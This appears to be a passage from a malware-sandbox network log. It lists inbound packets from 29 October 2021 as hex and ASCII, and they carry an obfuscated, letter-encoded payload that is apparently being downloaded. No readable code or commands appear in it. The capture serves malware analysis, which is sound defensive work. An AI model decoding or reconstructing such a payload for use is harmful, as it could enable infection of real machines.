2021-10-29 18:30:02 UTC	1849	IN	Data Raw: 51 6b 20 52 4f 20 4f 4f 6b 20 4f 4f 51 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6b 6f 20 4f 51 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4b 59 20 74 6b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 59 78 20 4f 4f 51 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4f 78 20 4f 51 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 4f 74 20 74 45 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 6f 20 4f 4f 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4f 4b 20 6f 78 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4f 20 74 45 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 6f 20 4f 4f 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4b 52 20 6f 78 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6b 4f 20 74 45 20 59 4f 20 59 78 Data Ascii: Qk RO OOk OOQ KQ OOt OYY Oot ko OQ OOE YK ORo OoY oKY tk YO Yx OQk RO OYx OOQ KQ OOt OYY Oot oOx OQ OOE YK ORo OoY OOt tE YO Yx OQk RO oo OOo KQ OOt OYY Oot OOK ox OOE YK ORo OoY oO tE YO Yx OQk RO Oko OOo KQ OOt OYY Oot OKR ox OOE YK ORo OoY OkO tE YO Yx
2021-10-29 18:30:02 UTC	1853	IN	Data Raw: 78 51 20 6f 45 20 59 78 20 4b 51 20 59 78 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 59 20 4f 4f 6f 20 59 4f 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 6f 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 52 20 4b 6b 20 59 78 20 59 4b 20 52 45 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 51 78 20 59 78 20 4b 6b 20 59 78 20 51 78 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 59 20 4f 4f 6f 20 59 78 20 4b 6b 20 51 59 20 59 4b 20 6b 59 20 4f 4f 4b 20 51 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 51 4b 20 59 78 20 59 59 20 6b 4b 20 52 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 51 45 20 4b 6b 20 59 4f 20 59 4b 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 78 20 59 78 20 4b 51 20 59 78 20 6b Data Ascii: xQ oE Yx KQ Yx Kx kK OOK OOt Y OOo YO Kk Ok YK kK OOK ok OxQ OOE Yx oo Yx YK kK oK OOt Oxk OOo oR Kk Yx YK RE OOK OOR OxQ Qx Yx Kk Yx Qx kK OOY OOt RY OOo Yx Kk QY YK kY OOK QO OxQ OOo Yx QK Yx YY kK RR OOt OxQ OOo QE Kk YO YK OOx OOK OOt OxQ x Yx KQ Yx k
2021-10-29 18:30:02 UTC	1857	IN	Data Raw: 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4f 52 20 4b 51 20 6f 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 6b 52 20 4f 78 6b 20 6b 51 20 59 78 20 4b 51 20 59 78 20 4f 6b 20 6b 59 20 51 4f 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 6f 45 20 4b 51 20 6f 59 20 59 4b 20 6b 59 20 4f 4f 4b 20 6b 45 20 4f 78 6b 20 51 4f 20 59 78 20 59 78 20 59 78 20 4f 74 20 6b 59 20 51 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 52 20 4b 51 20 45 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 51 6f 20 4f 78 6b 20 51 59 20 59 78 20 4b 51 20 59 78 20 6f 6b 20 6b 59 20 51 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 45 4f 20 4b 51 20 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 51 4f 20 4f 78 6b 20 52 59 20 59 78 20 59 78 20 59 78 20 6f 59 20 6b 59 20 52 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 20 4b 51 20 4f Data Ascii: Y OOt Oxk OOo OR KQ oO YK kR OOK kR Oxk kQ Yx KQ Yx Ok kY QO OOt OOO OOo oE KQ oY YK kY OOK kE Oxk QO Yx Yx Yx Ot kY QY OOt Oxk OOo oR KQ EO YK kR OOK Qo Oxk QY Yx KQ Yx ok kY QE OOt OOO OOo EO KQ E YK kY OOK QO Oxk RY Yx Yx Yx oY kY RY OOt Oxk OOo o KQ O
2021-10-29 18:30:02 UTC	1860	IN	Data Raw: 4f 78 6b 20 6f 78 4f 20 59 78 20 4b 51 20 59 78 20 6f 4b 45 20 6b 59 20 6f 78 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 6f 4b 4b 20 4b 51 20 4f 45 74 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 74 6b 20 4f 78 6b 20 6f 78 45 20 59 78 20 59 78 20 59 78 20 6f 59 4b 20 6b 59 20 6f 78 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 4f 20 4b 51 20 4f 4b 45 20 59 4b 20 6b 52 20 4f 4f 4b 20 4f 51 4f 20 4f 78 6b 20 6f 78 74 20 59 78 20 4b 51 20 59 78 20 6f 59 45 20 6b 59 20 6f 78 59 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 6f 59 4b 20 4b 51 20 6f 4b 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 6b 4b 20 4f 78 6b 20 4f 74 74 20 59 78 20 59 78 20 59 78 20 6f 4b 6b 20 6b 59 20 4f 74 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 45 20 4b 51 20 6f 4b 4f 20 59 4b 20 6b 52 20 4f 4f 4b Data Ascii: Oxk oxO Yx KQ Yx oKE kY oxE OOt OOO OOo oKK KQ OEt YK kY OOK Otk Oxk oxE Yx Yx Yx oYK kY oxt OOt Oxk OOo oYO KQ OKE YK kR OOK OQO Oxk oxt Yx KQ Yx oYE kY oxY OOt OOO OOo oYK KQ oKE YK kY OOK OkK Oxk Ott Yx Yx Yx oKk kY Ott OOt Oxk OOo oYE KQ oKO YK kR OOK
2021-10-29 18:30:02 UTC	1864	IN	Data Raw: 20 52 6f 20 4b 6b 20 51 74 20 59 4b 20 6b 51 20 4f 4f 4b 20 45 45 20 4f 78 51 20 4f 6f 59 20 59 78 20 4f 78 4f 20 59 78 20 45 59 20 6b 4b 20 45 52 20 4f 4f 74 20 4f 6f 6f 20 4f 4f 6f 20 4f 78 4f 20 4b 6b 20 4f 51 20 59 4b 20 4f 6f 20 4f 4f 4b 20 6b 74 20 4f 78 51 20 4b 4f 20 59 78 20 4f 6b 20 59 78 20 4f 78 6b 20 6b 4b 20 6b 52 20 4f 4f 74 20 59 4b 20 4f 4f 6f 20 6f 6f 20 4b 6b 20 4f 4f 78 20 59 4b 20 4f 4f 45 20 4f 4f 4b 20 4b 78 20 4f 78 51 20 6b 74 20 59 78 20 4f 4f 78 20 59 78 20 4f 4f 59 20 6b 4b 20 4b 59 20 4f 4f 74 20 4b 78 20 4f 4f 6f 20 6b 6f 20 4b 6b 20 4f 4f 51 20 59 4b 20 59 45 20 4f 4f 4b 20 4b 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4f 4f 74 20 59 78 20 6b 59 20 6b 4b 20 59 59 20 4f 4f 74 20 51 20 4f 4f 6f 20 4f 4f 51 20 4b 6b 20 6b 74 20 59 4b Data Ascii: Ro Kk Qt YK kQ OOK EE OxQ OoY Yx OxO Yx EY kK ER OOt Ooo OOo OxO Kk OQ YK Oo OOK kt OxQ KO Yx Ok Yx Oxk kK kR OOt YK OOo oo Kk OOx YK OOE OOK Kx OxQ kt Yx OOx Yx OOY kK KY OOt Kx OOo ko Kk OOQ YK YE OOK Kk OxQ Ok Yx OOt Yx kY kK YY OOt Q OOo OOQ Kk kt YK
2021-10-29 18:30:02 UTC	1880	IN	Data Raw: 6f 20 4f 4f 45 20 6b 20 4b 20 4f 4f 59 20 51 51 20 74 4b 20 52 6b 20 4b 78 20 59 4f 20 59 20 45 20 4b 20 52 20 4f 52 20 52 74 20 4b 51 20 4b 4f 20 59 78 20 4f 4f 51 20 78 20 4f 4f 20 4f 4f 6f 20 4f 78 6b 20 52 52 20 4b 6b 20 4b 78 20 59 45 20 4f 4f 45 20 4f 4f 74 20 52 20 4f 4b 20 4f 74 20 59 4f 20 4f 4f 74 20 4b 78 20 59 78 20 4f 4f 6b 20 78 20 59 20 45 20 51 6b 20 52 74 20 52 4b 20 4b 52 20 59 78 20 4f 4f 51 20 4b 20 4f 4f 59 20 4f 20 4f 78 4f 20 52 52 20 59 4f 20 6b 4b 20 52 6b 20 45 20 78 20 4f 4f 52 20 4f 4f 6f 20 4f 74 20 4b 51 20 4b 6b 20 4b 4b 20 59 4b 20 4b 20 4f 20 45 20 52 20 6f 4f 20 52 52 20 52 6b 20 6b 4b 20 52 52 20 78 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 4f 6b 20 52 4b 20 59 59 20 4b 4f 20 59 4f 20 4f 20 51 20 59 20 45 20 4f 52 20 4b 51 20 Data Ascii: o OOE k K OOY QQ tK Rk Kx YO Y E K R OR Rt KQ KO Yx OOQ x OO OOo Oxk RR Kk Kx YE OOE OOt R OK Ot YO OOt Kx Yx OOk x Y E Qk Rt RK KR Yx OOQ K OOY O OxO RR YO kK Rk E x OOR OOo Ot KQ Kk KK YK K O E R oO RR Rk kK RR x OOK Yx OOK Ok RK YY KO YO O Q Y E OR KQ
2021-10-29 18:30:02 UTC	1892	IN	Data Raw: 6f 6b 20 4f 6f 20 45 78 20 74 78 20 4f 4f 59 20 74 4f 20 51 78 20 45 6f 20 74 20 74 20 6b 20 4f 4f 6f 20 4f 4f 74 20 6b 59 20 74 78 20 4f 6f 74 20 59 74 20 4f 51 20 4f 6b 20 6b 20 59 78 20 6b 45 20 52 74 20 6b 74 20 59 4b 20 6f 51 20 6f 6f 20 4f 52 20 45 20 4b 20 51 4f 20 52 6b 20 74 59 20 4f 78 4f 20 4b 51 20 6f 6b 20 4f 74 20 6b 20 6f 20 4f 4f 6f 20 6b 4f 20 52 59 20 6b 45 20 6b 4b 20 45 74 20 4f 52 20 4f 59 20 45 4b 20 6b 74 20 52 74 20 52 52 20 6b 51 20 59 6b 20 4f 20 4f 52 20 4f 78 51 20 59 59 20 6b 74 20 52 6b 20 51 52 20 6b 45 20 45 51 20 6f 20 6f 52 20 45 20 45 20 6b 74 20 4b 6b 20 4f 4f 45 20 51 78 20 59 51 20 4f 20 4f 52 20 4f 78 51 20 45 59 20 74 59 20 52 74 20 74 78 20 6b 45 20 59 74 20 51 6f 20 52 78 20 4b 4f 20 6f 59 20 52 59 20 52 4b 20 51 Data Ascii: ok Oo Ex tx OOY tO Qx Eo t t k OOo OOt kY tx Oot Yt OQ Ok k Yx kE Rt kt YK oQ oo OR E K QO Rk tY OxO KQ ok Ot k o OOo kO RY kE kK Et OR OY EK kt Rt RR kQ Yk O OR OxQ YY kt Rk QR kE EQ o oR E E kt Kk OOE Qx YQ O OR OxQ EY tY Rt tx kE Yt Qo Rx KO oY RY RK Q
2021-10-29 18:30:02 UTC	1908	IN	Data Raw: 74 20 6b 51 20 59 6b 20 52 20 6f 51 20 45 78 20 4f 4f 6f 20 74 78 20 6b 6b 20 51 4f 20 52 51 20 6b 4b 20 6f 4f 20 4f 52 20 6f 59 20 4b 74 20 4f 78 6f 20 6b 51 20 6b 4f 20 51 45 20 45 51 20 4f 4f 4b 20 6f 59 20 4b 20 45 78 20 6b 51 20 52 74 20 59 78 20 52 6b 20 4b 51 20 45 4f 20 6f 52 20 6f 59 20 6f 4f 20 4f 78 6f 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 45 45 20 45 4f 20 51 20 4f 4f 74 20 6b 59 20 74 78 20 51 6b 20 59 45 20 4f 20 45 78 20 45 78 20 4f 4f 6f 20 74 78 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 59 74 20 6f 20 4f 51 20 6b 45 20 51 6f 20 52 59 20 59 4b 20 59 4f 20 6f 45 20 4f 20 59 78 20 59 4f 20 52 4b 20 6b 59 20 6b 52 20 6b 45 20 59 6b 20 52 20 6f 6b 20 4f 6f 20 6f 6b 20 52 59 20 4b 6b 20 51 74 20 6b 59 20 59 45 20 6f 6b 20 Data Ascii: t kQ Yk R oQ Ex OOo tx kk QO RQ kK oO OR oY Kt Oxo kQ kO QE EQ OOK oY K Ex kQ Rt Yx Rk KQ EO oR oY oO Oxo kO RY QE EQ OOK EE EO Q OOt kY tx Qk YE O Ex Ex OOo tx kO RY QE EQ OOK Yt o OQ kE Qo RY YK YO oE O Yx YO RK kY kR kE Yk R ok Oo ok RY Kk Qt kY YE ok
2021-10-29 18:30:02 UTC	1924	IN	Data Raw: 78 6f 20 6b 4b 20 59 6f 20 4f 4f 74 20 4b 20 4f 4f 6f 20 51 4b 20 4b 6b 20 6b 74 20 59 4b 20 4f 6f 6f 20 4f 4f 4b 20 45 4b 20 4f 78 51 20 6f 20 59 78 20 6b 51 20 59 78 20 52 52 20 6b 4b 20 6f 45 20 4f 4f 74 20 52 45 20 4f 4f 6f 20 4f 6f 59 20 4b 6b 20 4f 4f 52 20 59 4b 20 6f 51 20 4f 4f 4b 20 59 74 20 4f 78 51 20 59 45 20 59 78 20 6f 4f 20 59 78 20 4f 78 52 20 6b 4b 20 59 4f 20 4f 4f 74 20 6f 51 20 4f 4f 6f 20 52 52 20 4b 6b 20 4f 4f 52 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 59 20 4f 78 51 20 6f 4f 20 59 78 20 45 78 20 59 78 20 51 74 20 6b 4b 20 78 20 4f 4f 74 20 4b 20 4f 4f 6f 20 74 78 20 4b 6b 20 6b 74 20 59 4b 20 4f 52 20 4f 4f 4b 20 6f 78 20 4f 78 51 20 4b 20 59 78 20 6b 4f 20 59 78 20 4f 78 52 20 6b 4b 20 45 6f 20 4f 4f 74 20 6f 20 4f 4f 6f 20 6b 45 20 Data Ascii: xo kK Yo OOt K OOo QK Kk kt YK Ooo OOK EK OxQ o Yx kQ Yx RR kK oE OOt RE OOo OoY Kk OOR YK oQ OOK Yt OxQ YE Yx oO Yx OxR kK YO OOt oQ OOo RR Kk OOR YK RO OOK oY OxQ oO Yx Ex Yx Qt kK x OOt K OOo tx Kk kt YK OR OOK ox OxQ K Yx kO Yx OxR kK Eo OOt o OOo kE
2021-10-29 18:30:02 UTC	1940	IN	Data Raw: 59 20 4f 6f 4b 20 51 52 20 4f 6f 74 20 51 45 20 59 4f 20 52 6f 20 45 51 20 45 52 20 4f 6f 4f 20 4f 4f 59 20 4f 6f 45 20 4f 4f 6f 20 4f 6f 52 20 59 6b 20 52 6f 20 4b 6b 20 4b 45 20 74 78 20 6f 4b 6f 20 6f 6f 78 20 4f 6f 78 20 51 74 20 4f 4f 20 4b 51 20 52 78 20 59 52 20 74 78 20 4f 51 20 4f 4f 51 20 4f 78 4f 20 4f 6f 78 20 45 6f 20 4f 74 52 20 4f 59 59 20 59 52 20 6b 4f 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6f 20 4f 6f 52 20 52 78 20 59 4b 20 4f 6b 20 59 4b 20 74 45 20 51 52 20 6f 4b 59 20 4f 51 52 20 4f 4f 74 20 4f 6b 20 4b 51 20 4b 6b 20 45 74 20 6b 4b 20 51 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 4f 20 45 6f 20 6f 51 20 59 4f 20 45 52 20 6f 4f 45 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 78 20 51 6b 20 74 20 4b 51 20 52 78 20 59 52 20 74 45 20 4f 6f 4b 20 4f 6f 45 20 4f Data Ascii: Y OoK QR Oot QE YO Ro EQ ER OoO OOY OoE OOo OoR Yk Ro Kk KE tx oKo oox Oox Qt OO KQ Rx YR tx OQ OOQ OxO Oox Eo OtR OYY YR kO OOK OOR OOo OoR Rx YK Ok YK tE QR oKY OQR OOt Ok KQ Kk Et kK QK OOK OoR OxO Eo oQ YO ER oOE OOK Oot Oox Qk t KQ Rx YR tE OoK OoE O
2021-10-29 18:30:02 UTC	1956	IN	Data Raw: 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 6f 6b 20 4f 78 78 20 6b 45 20 45 6b 20 4f 20 6f 6b 20 6f 20 45 78 20 4f 59 20 74 78 20 52 20 6f 4b 20 4f 78 78 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 45 6b 20 4f 4f 6b 20 52 4b 20 6b 74 20 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 4f 4f 52 20 51 4f 20 52 51 20 45 52 20 45 78 20 6f 78 20 6f 78 20 52 6f 20 6b 45 20 51 45 20 6b 74 20 45 6b 20 4f 6f 6f 20 52 78 20 4b 6b 20 59 74 20 6b 78 20 4f 4f 52 20 52 52 20 6b 45 20 51 4f 20 4b 51 20 59 20 6f 52 20 45 4f 20 6f 74 20 4f 6b 20 4b 20 52 4f 20 59 59 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 59 4b 20 4f 6f 52 20 6b 45 20 51 4f 20 4b 51 20 4f 4f 45 20 52 78 20 51 20 52 59 20 52 4f 20 4b 51 20 59 78 20 59 59 20 6b 4b 20 45 6b 20 4f 6f 45 20 Data Ascii: Yt oE o o o kQ ok Oxx kE Ek O ok o Ex OY tx R oK Oxx OOY OOt Yt OoR Ek OOk RK kt Yt oE o o o kQ OOR QO RQ ER Ex ox ox Ro kE QE kt Ek Ooo Rx Kk Yt kx OOR RR kE QO KQ Y oR EO ot Ok K RO YY kK OOY OOt Yt OoR YK OoR kE QO KQ OOE Rx Q RY RO KQ Yx YY kK Ek OoE
2021-10-29 18:30:02 UTC	1972	IN	Data Raw: 4f 4f 20 6b 4b 20 45 74 20 4f 4f 74 20 6f 4f 20 4f 4f 6f 20 52 59 20 4b 6b 20 4f 78 4b 20 59 4b 20 4f 6f 20 4f 4f 4b 20 45 52 20 4f 78 51 20 59 51 20 59 78 20 6b 4f 20 59 78 20 4f 6f 52 20 6b 4b 20 4b 6b 20 4f 4f 74 20 45 20 4f 4f 6f 20 6b 78 20 4b 6b 20 4f 4f 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 6f 52 20 4f 78 51 20 4b 6f 20 59 78 20 6f 20 59 78 20 4f 78 6b 20 6b 4b 20 74 20 4f 4f 74 20 4f 6f 20 4f 4f 6f 20 4f 4f 74 20 4b 6b 20 4f 6f 78 20 59 4b 20 59 6b 20 4f 4f 4b 20 6f 6f 20 4f 78 51 20 59 59 20 59 78 20 52 4b 20 59 78 20 51 45 20 6b 4b 20 4b 78 20 4f 4f 74 20 59 6b 20 4f 4f 6f 20 74 20 4b 6b 20 52 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 74 4f 20 4f 78 51 20 52 59 20 59 78 20 51 4f 20 59 78 20 4f 78 6b 20 6b 4b 20 52 4b 20 4f 4f 74 20 6b 4b 20 4f 4f 6f 20 Data Ascii: OO kK Et OOt oO OOo RY Kk OxK YK Oo OOK ER OxQ YQ Yx kO Yx OoR kK Kk OOt E OOo kx Kk OOt YK OK OOK oR OxQ Ko Yx o Yx Oxk kK t OOt Oo OOo OOt Kk Oox YK Yk OOK oo OxQ YY Yx RK Yx QE kK Kx OOt Yk OOo t Kk Rt YK OK OOK tO OxQ RY Yx QO Yx Oxk kK RK OOt kK OOo
2021-10-29 18:30:02 UTC	1988	IN	Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 Data Ascii: kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK
2021-10-29 18:30:02 UTC	2004	IN	Data Raw: 45 6f 20 59 78 20 78 20 78 20 78 20 4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 59 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4b 78 20 59 52 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 52 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 52 20 78 20 6f 59 4b 20 4f 4b 20 6f 6b 20 78 20 6f 59 4b 20 4f 6f 20 6f 6b 20 78 20 59 74 20 52 20 78 20 78 20 78 20 59 52 20 45 51 20 78 20 78 20 78 20 78 20 78 20 45 6f 20 74 51 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 6f 4f 4b 20 6f 59 4b 20 4f 4b 20 6f 74 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 78 20 78 20 78 20 78 20 52 6f 20 4f 6f 59 20 6f 59 59 20 6f 59 59 20 6f 59 59 Data Ascii: Eo Yx x x x Kx ok x x Ox x Eo tY x x x oYK OK o x Kx YR x x Ox x Eo tR x x x oYK OK o x oYK Oo oR x oYK OK ok x oYK Oo ok x Yt R x x x YR EQ x x x x x Eo tQ x x x oYK OK o x oYK Oo ot x Eo O x x x oOK oYK OK ot x oYK Oo ot x Eo Ox x x x Ro OoY oYY oYY oYY
2021-10-29 18:30:02 UTC	2020	IN	Data Raw: 78 20 78 20 78 20 6f 59 45 20 51 20 78 20 78 20 45 74 20 4f 78 20 78 20 78 20 4f 59 20 78 20 78 20 78 20 45 20 4f 78 20 78 20 78 20 6f 74 20 4b 6b 20 4f 4f 20 78 20 4f 52 6b 20 45 20 78 20 78 20 4f 59 20 78 20 78 20 4f 74 20 4f 4b 78 20 6f 74 20 78 20 78 20 4f 20 78 20 78 20 4b 78 20 74 20 78 20 78 20 4f 78 20 78 20 45 6f 20 6f 59 4b 20 6f 59 59 20 6f 59 59 20 6f 59 59 20 6f 59 4b 20 4f 4b 20 4f 20 78 20 45 6f 20 6f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 6f 52 20 74 74 20 78 20 78 20 4f 78 20 6f 59 4b 20 51 20 78 20 78 20 45 6f 20 78 20 78 20 78 20 78 20 4f 4f 4f 20 4b 6b 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 4b 20 78 20 45 6f 20 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4b 45 20 52 20 6f 59 4b 20 6f 6f 20 6b 45 20 Data Ascii: x x x oYE Q x x Et Ox x x OY x x x E Ox x x ot Kk OO x ORk E x x OY x x Ot OKx ot x x O x x Kx t x x Ox x Eo oYK oYY oYY oYY oYK OK O x Eo o x x x oYK OK E x OoR tt x x Ox oYK Q x x Eo x x x x OOO Kk x x Ox oYK OK K x Eo E x x x oYK OK E x KE R oYK oo kE
2021-10-29 18:30:02 UTC	2036	IN	Data Raw: 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 6f 20 45 4f 20 4f 78 59 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 78 20 78 20 4f 51 20 4b 6b 20 4b 20 78 20 6f 20 4f 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 6f 6b 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f Data Ascii: OYt Et Eo x x x x EO OxO OYt Et oo EO OxY OYt OOY OER x x Ox Ko x x OQ Kk K x o O x x E x x Ot ok OKO OOY x x O Et Eo Y x x x EO Yt OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO YY OYt Et Eo Y x x x EO YE OYt Et ot EO Oxo OYt Et Eo K x x x EO Qt OYt Et Eo
2021-10-29 18:30:02 UTC	2052	IN	Data Raw: 4f 4f 59 20 4f 74 78 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 6f 52 20 4f 78 6b 20 78 20 78 20 4f 78 20 4b 78 20 4f 4f 52 20 78 20 78 20 4f 78 20 4f 51 20 6f 78 20 4f 74 20 6f 78 20 4b 4b 20 4f 6b 20 78 20 45 20 4b 78 20 51 52 20 78 20 78 20 52 20 4b 78 20 4f 45 20 78 20 78 20 4f 78 20 4f 4f 59 20 4f 74 4f 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 51 20 6f 4f 20 4b 45 20 78 20 4f 74 20 6f 4f 20 4b 6f 20 78 20 78 20 52 59 20 6f 6b 20 78 20 78 20 78 20 78 20 78 20 78 20 74 20 78 20 78 20 78 20 6f 4f 59 20 4f 20 78 20 78 20 6f 6f 6f 20 4f 20 78 20 78 20 4f 45 20 78 20 78 20 78 20 6f 20 78 20 78 20 4f 20 4f 51 20 4b 6b 20 4b 20 78 20 74 52 20 45 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 6f 78 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 Data Ascii: OOY Otx x x Ox Ooo R OoR Oxk x x Ox Kx OOR x x Ox OQ ox Ot ox KK Ok x E Kx QR x x R Kx OE x x Ox OOY OtO x x Ox Ooo R OQ oO KE x Ot oO Ko x x RY ok x x x x x x t x x x oOY O x x ooo O x x OE x x x o x x O OQ Kk K x tR E x x E x x Ot EO ox OKO OOY x x O Et
2021-10-29 18:30:02 UTC	2068	IN	Data Raw: 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 4f 45 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 4f 6f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 Data Ascii: x x EO Kk OYt Et EO OE EO Oxk OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO Kk OYt Et Eo Oo x x x EO Yt OYt Et EO Oo EO Qt OYt Et Eo OO x x x EO YK OYt Et Eo OO x x x EO YO OYt Et Eo OO x x x EO YE OYt Et Eo OO x x x EO Oxo OYt E
